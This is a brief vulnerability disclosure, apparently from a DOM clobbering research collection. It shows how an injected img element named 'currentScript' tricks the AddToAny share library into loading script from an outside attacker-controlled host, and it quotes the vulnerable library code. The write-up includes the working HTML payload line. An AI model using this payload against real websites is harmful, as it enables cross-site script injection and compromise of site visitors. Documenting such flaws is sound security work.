AddToAny gets people to the right destination to share or save your content, whether it’s in a native app or on the web.
The AddToAny library was using the document.currentScript property to load additional scripts.
<!-- user input -->
<img src="https://[email protected]/assets/xss/index.js?" name="currentScript">
<script nonce="secret" async src="/assets/libs/addtoany/20240821/page.js"></script>Root Cause
Source: https://web.archive.org/web/20240821021100/https://static.addtoany.com/menu/page.js
_ = (d = o.currentScript) && d.src ? d.src : "",
e = d && !d.async && !d.defer,
// [...]
a = (t = n.static_server) ? t + "/" : "https://static.addtoany.com/menu/",
p = _ && -1 !== _.split("/")[2].indexOf("addtoany"),
l = (p = (l = !t && p ? _ : a).match(/^[^?#]+\//)) ? p[0] : l,
// [...]
var e = l + (t ? "" : "modules/");
c(e + "core" + g + ".js", !0);
Related links:
Found by jackfromeast, ishmeals.